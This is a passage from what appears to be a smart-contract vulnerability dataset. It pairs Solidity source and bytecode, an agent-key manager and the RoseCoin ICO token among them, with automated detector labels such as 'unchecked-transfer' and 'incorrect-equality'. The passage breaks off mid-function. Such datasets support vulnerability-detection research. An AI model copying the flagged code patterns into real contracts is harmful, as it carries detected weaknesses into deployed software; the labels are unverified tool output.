b506102c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c0565b604051808215151515815260200191505060405180910390f35b3480156102eb57600080fd5b506102f461084e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031c57600080fd5b50610325610853565b005b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090e565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b506103a960048036038101908080359060200190929190505050610956565b604051808215151515815260200191505060405180910390f35b3480156103cf57600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610adf565b005b34801561043c57600080fd5b50610445610cff565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048557808201518184015260208101905061046a565b50505050905090810190601f1680156104b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cc57600080fd5b5061050b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d38565b604051808215151515815260200191505060405180910390f35b34801561053157600080fd5b50610586600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc4565b6040518082815260200191505060405180910390f35b3480156105a857600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e4b565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561064757600080fd5b600560009054906101000a900460ff1615156106a5576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600a81526020017f5265656620546f6b656e0000000000000000000000000000000000000000000081525081565b6000806106ed3385610dc4565b14806106f95750600082145b151561070457600080fd5b61070e8383610fac565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561081b57600080fd5b600560009054906101000a900460ff16156108395760009050610847565b61084484848461109e565b90505b9392505050565b600881565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108af57600080fd5b600560009054906101000a900460ff161561090c576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109b457600080fd5b6000821115610ad5576109d0662386f26fc10000600454611484565b8211156109e05760009050610ada565b610a286000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149d565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a766004548361149d565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610ada565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b3d57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7857600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c1e57600080fd5b505af1158015610c32573d6000803e3d6000fd5b505050506040513d6020811015610c4857600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600481526020017f524545460000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d9357600080fd5b600560009054906101000a900460ff1615610db15760009050610dbe565b610dbb83836114bb565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ea757600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610ee257600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110db57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611168576000905061147d565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111b7576000905061147d565b6000821180156111f357508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156114135761127e600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611484565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113466000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611484565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113d06000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149d565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561149257fe5b818303905092915050565b60008082840190508381101515156114b157fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114f857600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156115475760009050611707565b60008211801561158357508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561169d576115d06000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611484565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165a6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149d565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a72305820108640aa3a8fab90793b1a219acb01644fe6bd93eedb268ebd8276c29df25f8c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 3,391 |
0xfD113B9A1AE64F9402C7AEB2dB2cA865bA3848b2
|
// SPDX-License-Identifier: NONE
pragma solidity 0.7.6;
// Part: Context
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Part: IAgentManager
interface IAgentManager {
event userAgentRegistered(address indexed user, string indexed agentId);
event agentUpdated(
string indexed agentId,
address indexed _coldAddress,
address indexed _hotAddress
);
function registerAgentForUser(
string calldata agentId,
address _coldAddress,
address _hotAddress
) external returns (bool);
function updateAgentColdAddress(
string calldata agentId,
address _coldAddress
) external returns (bool);
function updateAgentHotAddress(string calldata agentId, address _hotAddress)
external
returns (bool);
function verifyAgentAddress(
string calldata agentId,
address senderAddress,
address userAddress
) external view returns (bool);
function userAgents(address userAddress, string calldata agentId)
external
view
returns (bool);
function HOT_ADDRESS_BLOCK_LIFE() external view returns (uint256);
function PREVIOUS_HOT_ADDRESS_BLOCK_LIFE() external view returns (uint256);
function getAgent(string calldata agentId)
external
view
returns (
address,
address,
address,
uint256
);
}
// Part: Ownable
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: AgentManager.sol
/**
* @title Agent manager
* @notice This contract is responsible for managing one to many user agents
* and also verifies if an agent is authorized to transact on behalf of a user
* @dev Can be used as a standalone in multiple agent management systems
*/
contract AgentManager is IAgentManager, Ownable {
mapping(address => mapping(string => bool)) public override userAgents;
struct AgentKeys {
address coldAddress;
address hotAddress;
address previousHotAddress;
uint256 lastUpdatedBlock;
}
mapping(string => AgentKeys) private agents;
uint256 public override PREVIOUS_HOT_ADDRESS_BLOCK_LIFE;
uint256 public override HOT_ADDRESS_BLOCK_LIFE;
/**
* @param _previousHotAddressBlocks: the value to set for PREVIOUS_HOT_ADDRESS_BLOCK_LIFE
* which signifies the number of blocks after which the previous hot address for the agent
* becomes invalid after updating the hot address
* @param _hotAddressBlocks: the value to set for HOT_ADDRESS_BLOCK_LIFE which signifies
* the number of blocks after which a current hot address of an agent becomes invalid
*/
constructor(uint256 _previousHotAddressBlocks, uint256 _hotAddressBlocks) {
PREVIOUS_HOT_ADDRESS_BLOCK_LIFE = _previousHotAddressBlocks;
HOT_ADDRESS_BLOCK_LIFE = _hotAddressBlocks;
}
/**
* @notice Registers an agent corresponding to the message sender (user)
* @param agentId: unique id of the agent to register
* @param _coldAddress: cold address of the agent
* @param _hotAddress: Initial hot address of the agent
*/
function registerAgentForUser(
string calldata agentId,
address _coldAddress,
address _hotAddress
) external override returns (bool) {
require(
!userAgents[msg.sender][agentId],
"Agent id already registered for this user"
);
// Checks the mapping to ensure the agentId is not already registered
require(
agents[agentId].coldAddress == address(0),
"AgentId already registered for another user"
);
require(
_coldAddress != address(0) && _hotAddress != address(0),
"Addresses can't be zero address"
);
agents[agentId] = AgentKeys({
coldAddress: _coldAddress,
hotAddress: _hotAddress,
previousHotAddress: address(0),
lastUpdatedBlock: block.number
});
emit agentUpdated(agentId, _coldAddress, _hotAddress);
userAgents[msg.sender][agentId] = true;
emit userAgentRegistered(msg.sender, agentId);
return true;
}
/**
* @notice Verifies if an agentId is authorised to transact on behalf of a userAddress
* @dev Internal function. Can only be called by inheriting contracts
* @param agentId: unique id of the agent
* @param senderAddress: address of the sender (agent in this case)
* @param userAddress: address of the user to authorise for
*/
function verifyAgentAddress(
string calldata agentId,
address senderAddress,
address userAddress
) external view override returns (bool) {
AgentKeys memory keys = agents[agentId];
if (keys.hotAddress == senderAddress) {
if (HOT_ADDRESS_BLOCK_LIFE == 0) {
return userAgents[userAddress][agentId];
}
return
(block.number <=
keys.lastUpdatedBlock + HOT_ADDRESS_BLOCK_LIFE) &&
userAgents[userAddress][agentId];
}
if (keys.previousHotAddress == senderAddress) {
return
(block.number <=
keys.lastUpdatedBlock + PREVIOUS_HOT_ADDRESS_BLOCK_LIFE) &&
userAgents[userAddress][agentId];
}
return keys.coldAddress == senderAddress;
}
/**
* @notice Updates agent cold address, sender needs to be the previous cold address itself
* @param agentId: unique id of the agent
* @param _coldAddress: new cold address to set
*/
function updateAgentColdAddress(
string calldata agentId,
address _coldAddress
) external override returns (bool) {
require(
msg.sender == agents[agentId].coldAddress &&
_coldAddress != address(0),
"Cold address can't be updated"
);
agents[agentId].coldAddress = _coldAddress;
emit agentUpdated(agentId, _coldAddress, agents[agentId].hotAddress);
return true;
}
/**
* @notice Updates agent hot address, sender needs to be the cold address or previous hot address
* @param agentId: unique id of the agent
* @param _hotAddress: new hot address to set
*/
function updateAgentHotAddress(string calldata agentId, address _hotAddress)
external
override
returns (bool)
{
require(
_hotAddress != address(0) &&
(msg.sender == agents[agentId].coldAddress ||
msg.sender == agents[agentId].hotAddress),
"Hot address can't be updated"
);
agents[agentId].previousHotAddress = agents[agentId].hotAddress;
agents[agentId].hotAddress = _hotAddress;
agents[agentId].lastUpdatedBlock = block.number;
emit agentUpdated(agentId, agents[agentId].coldAddress, _hotAddress);
return true;
}
/**
* @notice Updates PREVIOUS_HOT_ADDRESS_BLOCK_LIFE, can only be called by owner of the contract
* @param newBlockDifference: new value for PREVIOUS_HOT_ADDRESS_BLOCK_LIFE
*/
function updatePreviousHotAddressBlockDifference(uint256 newBlockDifference)
external
onlyOwner
{
PREVIOUS_HOT_ADDRESS_BLOCK_LIFE = newBlockDifference;
}
/**
* @notice Updates HOT_ADDRESS_BLOCK_LIFE, can only be called by owner of the contract
* @param newBlockDifference: new value for HOT_ADDRESS_BLOCK_LIFE
*/
function updateHotAddressBlockDifference(uint256 newBlockDifference)
external
onlyOwner
{
HOT_ADDRESS_BLOCK_LIFE = newBlockDifference;
}
/**
* @notice Get agent addresses and details
* @param agentId: agentId of the agent
*/
function getAgent(string calldata agentId)
external
view
override
returns (
address coldAddress,
address hotAddress,
address previousHotAddress,
uint256 lastUpdatedBlock
)
{
coldAddress = agents[agentId].coldAddress;
hotAddress = agents[agentId].hotAddress;
previousHotAddress = agents[agentId].previousHotAddress;
lastUpdatedBlock = agents[agentId].lastUpdatedBlock;
}
}
|
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d44eb41161008c578063e4040e6611610066578063e4040e661461032e578063e5437255146103e2578063f2fde38b14610461578063fb72286e14610487576100ea565b806395d44eb4146102ef578063d10ea8e814610309578063de1bc7ab14610311576100ea565b8063794464e9116100c8578063794464e9146101a95780638066fb9c1461024c5780638da5cb5b146102c35780638f32d59b146102e7576100ea565b80634000da9f146100ef5780634e18b0ae14610182578063715018a6146101a1575b600080fd5b61016e6004803603606081101561010557600080fd5b810190602081018135600160201b81111561011f57600080fd5b82018360208201111561013157600080fd5b803590602001918460018302840111600160201b8311171561015257600080fd5b91935091506001600160a01b03813581169160200135166104fe565b604080519115158252519081900360200190f35b61019f6004803603602081101561019857600080fd5b503561080e565b005b61019f61085a565b610217600480360360208110156101bf57600080fd5b810190602081018135600160201b8111156101d957600080fd5b8201836020820111156101eb57600080fd5b803590602001918460018302840111600160201b8311171561020c57600080fd5b5090925090506108eb565b604080516001600160a01b03958616815293851660208501529190931682820152606082019290925290519081900360800190f35b61016e6004803603604081101561026257600080fd5b810190602081018135600160201b81111561027c57600080fd5b82018360208201111561028e57600080fd5b803590602001918460018302840111600160201b831117156102af57600080fd5b9193509150356001600160a01b03166109bf565b6102cb610c19565b604080516001600160a01b039092168252519081900360200190f35b61016e610c28565b6102f7610c4c565b60408051918252519081900360200190f35b6102f7610c52565b61019f6004803603602081101561032757600080fd5b5035610c58565b61016e6004803603604081101561034457600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561036e57600080fd5b82018360208201111561038057600080fd5b803590602001918460018302840111600160201b831117156103a157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610ca4945050505050565b61016e600480360360608110156103f857600080fd5b810190602081018135600160201b81111561041257600080fd5b82018360208201111561042457600080fd5b803590602001918460018302840111600160201b8311171561044557600080fd5b91935091506001600160a01b0381358116916020013516610cd5565b61019f6004803603602081101561047757600080fd5b50356001600160a01b0316610e90565b61016e6004803603604081101561049d57600080fd5b810190602081018135600160201b8111156104b757600080fd5b8201836020820111156104c957600080fd5b803590602001918460018302840111600160201b831117156104ea57600080fd5b9193509150356001600160a01b0316610ee3565b3360009081526001602052604080822090518690869080838380828437919091019485525050604051928390036020019092205460ff1615915061057590505760405162461bcd60e51b81526004018080602001828103825260298152602001806111146029913960400191505060405180910390fd5b60006001600160a01b0316600286866040518083838082843791909101948552505060405192839003602001909220546001600160a01b03169290921491506105f190505760405162461bcd60e51b815260040180806020018281038252602b81526020018061115d602b913960400191505060405180910390fd5b6001600160a01b0383161580159061061157506001600160a01b03821615155b610662576040805162461bcd60e51b815260206004820152601f60248201527f4164647265737365732063616e2774206265207a65726f206164647265737300604482015290519081900360640190fd5b6040518060800160405280846001600160a01b03168152602001836001600160a01b0316815260200160006001600160a01b031681526020014381525060028686604051808383808284379190910194855250506040805160209481900385018120865181546001600160a01b03199081166001600160a01b0392831617835596880151600183018054891691831691909117905592870151600282018054909716908416179095556060909501516003909401939093555050838116919085169087908790808383808284376040519201829003822094507f97fd83a31100ab9f90a897ef7ece952db79315de38927970332d0d2e93fc20e993506000925050a46001806000336001600160a01b03166001600160a01b03168152602001908152602001600020868660405180838380828437919091019485525050604051928390036020018320805494151560ff1990951694909417909355508691508590808383808284376040519201829003822094503393507f7ecac8106c1cbe9693f0a25fc527cee515f98eb5057440cdcd497a3f894e5ab692506000919050a35060015b949350505050565b610816610c28565b610855576040805162461bcd60e51b8152602060048201819052602482015260008051602061113d833981519152604482015290519081900360640190fd5b600455565b610862610c28565b6108a1576040805162461bcd60e51b8152602060048201819052602482015260008051602061113d833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000806000806002868660405180838380828437919091019485525050604051928390036020018320546001600160a01b0316965060029289925088915080838380828437919091019485525050604051928390036020018320600101546001600160a01b03169550600292899250889150808383808284379190910194855250506040519283900360200183206002908101546001600160a01b03169550928992508891508083838082843791909101948552505060405192839003602001909220600301549598949750929550505050565b60006001600160a01b03821615801590610a49575060028484604051808383808284379190910194855250506040519283900360200190922054336001600160a01b03909116149150819050610a49575060028484604051808383808284379190910194855250506040519283900360200190922060010154336001600160a01b03909116149150505b610a9a576040805162461bcd60e51b815260206004820152601c60248201527f486f7420616464726573732063616e2774206265207570646174656400000000604482015290519081900360640190fd5b6002848460405180838380828437919091019485525050604051928390036020018320600101546001600160a01b031692600292508791508690808383808284378083019250505092505050908152602001604051809103902060020160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555081600285856040518083838082843791909101948552505060405192839003602001832060010180546001600160a01b03959095166001600160a01b0319909516949094179093555043915060029086908690808383808284378083019250505092505050908152602001604051809103902060030181905550816001600160a01b03166002858560405180838380828437919091019485525050604051928390036020018320546001600160a01b031692889250879150808383808284376040519201829003822094507f97fd83a31100ab9f90a897ef7ece952db79315de38927970332d0d2e93fc20e993506000925050a45060019392505050565b6000546001600160a01b031690565b600080546001600160a01b0316610c3d611049565b6001600160a01b031614905090565b60045481565b60035481565b610c60610c28565b610c9f576040805162461bcd60e51b8152602060048201819052602482015260008051602061113d833981519152604482015290519081900360640190fd5b600355565b6001602090815260009283526040909220815180830184018051928152908401929093019190912091525460ff1681565b6000806002868660405180838380828437919091019485525050604080516020948190038501812060808201835280546001600160a01b03908116835260018201548116968301879052600282015481169383019390935260030154606082015294508716909214159150610df9905057600454610d99576001600160a01b0383166000908152600160205260409081902090518790879080838380828437919091019485525050604051928390036020019092205460ff16935061080692505050565b6004548160600151014311158015610df157506001600160a01b0383166000908152600160205260409081902090518790879080838380828437919091019485525050604051928390036020019092205460ff169150505b915050610806565b836001600160a01b031681604001516001600160a01b03161415610e76576003548160600151014311158015610df157506001600160a01b0383166000908152600160205260409081902090518790879080838380828437919091019485525050604051928390036020019092205460ff16915050915050610806565b516001600160a01b03908116908416149050949350505050565b610e98610c28565b610ed7576040805162461bcd60e51b8152602060048201819052602482015260008051602061113d833981519152604482015290519081900360640190fd5b610ee08161104d565b50565b600060028484604051808383808284379190910194855250506040519283900360200190922054336001600160a01b03909116149150508015610f2e57506001600160a01b03821615155b610f7f576040805162461bcd60e51b815260206004820152601d60248201527f436f6c6420616464726573732063616e27742062652075706461746564000000604482015290519081900360640190fd5b81600285856040518083838082843791909101948552505060405192839003602001832080546001600160a01b03959095166001600160a01b03199095169490941790935550600291508590859080838380828437919091019485525050604051928390036020018320600101546001600160a01b039081169390861692508791508690808383808284376040519201829003822094507f97fd83a31100ab9f90a897ef7ece952db79315de38927970332d0d2e93fc20e993506000925050a45060019392505050565b3390565b6001600160a01b0381166110925760405162461bcd60e51b81526004018080602001828103825260268152602001806110ee6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b039290921691909117905556fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734167656e7420696420616c7265616479207265676973746572656420666f72207468697320757365724f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65724167656e74496420616c7265616479207265676973746572656420666f7220616e6f746865722075736572a2646970667358221220448b2c5d836d8183f518b9d159872f8dbb5800f89644bdcc95a425c9d8eb21b964736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 3,392 |
0x6745dde69632ea1820ad6781d0a49b9670472837
|
pragma solidity ^0.4.11;
contract ERC20Interface {
// Get the total token supply
function totalSupply() constant returns (uint256);
// Get the account balance of another account with address _owner
function balanceOf(address _owner) constant returns (uint256 balance);
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value) returns (bool success);
// Send _value amount of tokens from address _from to address _to
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
// this function is required for some DEX functionality
function approve(address _spender, uint256 _value) returns (bool success);
// Returns the amount which _spender is still allowed to withdraw from _owner
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
// Triggered when tokens are transferred.
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// Triggered whenever approve(address _spender, uint256 _value) is called.
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract RoseCoin is ERC20Interface {
uint8 public constant decimals = 5;
string public constant symbol = "RSC";
string public constant name = "RoseCoin";
uint public _level = 0;
bool public _selling = true;
uint public _totalSupply = 10 ** 14;
uint public _originalBuyPrice = 10 ** 10;
uint public _minimumBuyAmount = 10 ** 17;
// Owner of this contract
address public owner;
// Balances for each account
mapping(address => uint256) balances;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping (address => uint256)) allowed;
uint public _icoSupply = _totalSupply;
uint[4] public ratio = [12, 10, 10, 13];
uint[4] public threshold = [95000000000000, 85000000000000, 0, 80000000000000];
// Functions with this modifier can only be executed by the owner
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
modifier onlyNotOwner() {
if (msg.sender == owner) {
revert();
}
_;
}
modifier thresholdAll() {
if (!_selling || msg.value < _minimumBuyAmount || _icoSupply <= threshold[3]) { //
revert();
}
_;
}
// Constructor
function RoseCoin() {
owner = msg.sender;
balances[owner] = _totalSupply;
}
function totalSupply() constant returns (uint256) {
return _totalSupply;
}
// What is the balance of a particular account?
function balanceOf(address _owner) constant returns (uint256) {
return balances[_owner];
}
// Transfer the balance from sender's account to another account
function transfer(address _to, uint256 _amount) returns (bool) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
// Send _value amount of tokens from address _from to address _to
// The transferFrom method is used for a withdraw workflow, allowing contracts to send
// tokens on your behalf, for example to "deposit" to a contract address and/or to charge
// fees in sub-currencies; the command should fail unless the _from account has
// deliberately authorized the sender of the message via some mechanism; we propose
// these standardized APIs for approval:
function transferFrom(
address _from,
address _to,
uint256 _amount
) returns (bool) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
function approve(address _spender, uint256 _amount) returns (bool) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
function toggleSale() onlyOwner {
_selling = !_selling;
}
function setBuyPrice(uint newBuyPrice) onlyOwner {
_originalBuyPrice = newBuyPrice;
}
// Buy RoseCoin by sending Ether
function buy() payable onlyNotOwner thresholdAll returns (uint256 amount) {
amount = 0;
uint remain = msg.value / _originalBuyPrice;
while (remain > 0 && _level < 3) { //
remain = remain * ratio[_level] / ratio[_level+1];
if (_icoSupply <= remain + threshold[_level]) {
remain = (remain + threshold[_level] - _icoSupply) * ratio[_level+1] / ratio[_level];
amount += _icoSupply - threshold[_level];
_icoSupply = threshold[_level];
_level += 1;
}
else {
_icoSupply -= remain;
amount += remain;
remain = 0;
break;
}
}
if (balances[owner] < amount)
revert();
if (remain > 0) {
remain *= _originalBuyPrice;
msg.sender.transfer(remain);
}
balances[owner] -= amount;
balances[msg.sender] += amount;
owner.transfer(msg.value - remain);
Transfer(owner, msg.sender, amount);
return amount;
}
// Owner withdraws Ether in contract
function withdraw() onlyOwner returns (bool) {
